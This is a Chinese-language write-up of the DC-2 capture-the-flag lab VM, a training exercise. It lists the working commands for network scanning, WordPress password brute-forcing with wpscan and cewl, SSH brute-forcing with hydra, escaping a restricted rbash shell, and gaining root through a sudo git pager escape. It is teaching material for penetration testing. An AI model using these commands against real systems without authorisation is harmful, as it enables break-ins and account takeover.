一、实验环境
目标靶机:DC-2,NAT模式
攻击机:kali,NAT模式,IP:192.168.35.131
二、实验要求
与DC-1一样,共有五个flag,包括最终flag。拿到就算过关!
三、渗透过程
主机发现:
使用nmap扫描当前网段存活主机:
nmap -sP 192.168.35.0/24 -oN nmap.sP
也可以使用如下命令:有点慢不建议使用
netdiscover -i eth0 -r 192.168.35.0/24
也可以使用这个命令:
arp-scan -l
经过简单分析发现目标靶机的IP为:192.168.35.150
端口扫描与操作系统识别:
nmap -p 1-65535 -sV 192.168.35.150 -O -oN nmap.sV
web指纹识别:
发现开放了80端口,用浏览器访问试试看:发现不能访问
由于DC-2的特殊(强制域名访问),所以我们需要绑定一下hosts文件:
重新访问:发现是基于WordPress开发的网站
flag1 get!提示我们登录来查看下一个标志,但是我们的字典可能没有效,需要使用cewl工具来生成字典
cewl工具会自动爬行网站的网页,根据网页的关键字生成一个字典(将它作为密码字典)
cewl dc-2 > pwd.dic
目录扫描:
msfconsole
use auxiliary/scanner/http/dir_scanner
set rhosts 192.168.35.150
set threads 50
exploit
dirb http://dc-2
收集到的信息:
-
IP:192.168.35.150
-
开放的端口:
- 80 => http服务----Apache httpd 2.4.10 ((Debian))
- 7744 => ssh服务----OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
-
OS:Debian(Linux 3.2 - 4.9)
-
CMS:WordPress[4.7.10]
-
Apache:2.4.10
-
Linux kernel:3/4
-
扫描出来的目录
使用wpscan工具来猜解用户名:
wpscan --url dc-2 -e u
列出可能的用户名
将猜解出来的用户名存为一个字典(用户字典)
使用wpscan进行爆破:
wpscan --url dc-2 -U user.dic -P pwd.dic
得到两组密码:
jerry/adipiscing
tom/parturient
在登录界面尝试登录:根据目录扫描得出登录的页面
发现重定向到wp-login.php页面,所以真正的登陆页面就是这个
- 登录tom
没有找到有用的信息
- 登录jerry
flag2 get!提示如果不能攻击WordPress 可以换一种方法,想到开放的7744端口
我们使用hydra进行ssh爆破:有点慢
hydra -L user.dic -P pwd.dic ssh://192.168.35.150 -s 7744 -o hydra.ssh -vV
扫描完之后我们查看结果:
使用得到的账户密码进行ssh连接:
ssh tom@192.168.35.150 -p 7744
发现flag3,但是不能查看:
当前使用的是rbash,我们输入以下命令绕过限制:
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
前面两句是进行绕过,后面两句是设置环境变量
flag3 get!,提示可怜的老汤姆总是追着杰瑞跑。也许他应该忍受他造成的所有压力。直接将线索引向另一个账户。
我们查看/etc/passwd看有没有jerry这个用户:
发现有这个用户,我们使用su 命令来进行账号切换:
su jerry
输入密码后登陆成功,进入自己的根目录,发现flag4:
flag4 get!翻译一下看说的什么玩意儿:
很高兴看到你已经走了这么远——但你还没有回家。
你仍然需要得到最终的标志(唯一真正重要的标志!!)
这里没有提示,你得靠自己了。: -)
走吧,滚出去!!!!
WTF,大概意思就是我们不是root权限,自己想办法提权去吧(好家伙,提示应该是这个git命令)
提权:
我们使用sudo -l 查看一下:
发现git命令在使用过程中是root权限,而且不需要输入密码
sudo git -p --help 强制进入交互状态,让页面缓冲区无法显示全部信息(放大字体即可)
!/bin/bash 这时候调用一下/bin/bash
注意:一定要放大字体让页面无法显示全部信息,否则无法进入强制交互状态
直接获得root权限,final-flag get!完成渗透
sudo命令
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的 root 命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。
sudo不是对shell的一个代替,它是面向每个命令的。
原理:
sudo使一般用户不需要知道超级用户的密码即可获得权限。
首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
参数:
参数 | 作用 |
---|---|
-V | 显示版本编号 |
-h | 会显示版本编号及指令的使用方式说明 |
-l | 显示出自己(执行 sudo 的使用者)的权限 |
-v | 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码 |
-k | 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟) |
-b | 将要执行的指令放在背景执行 |
本文中是由于sudo配置不当,git命令被设置为sudo root权限,并且设置为NOPASSWD,才可以使用git进行提权。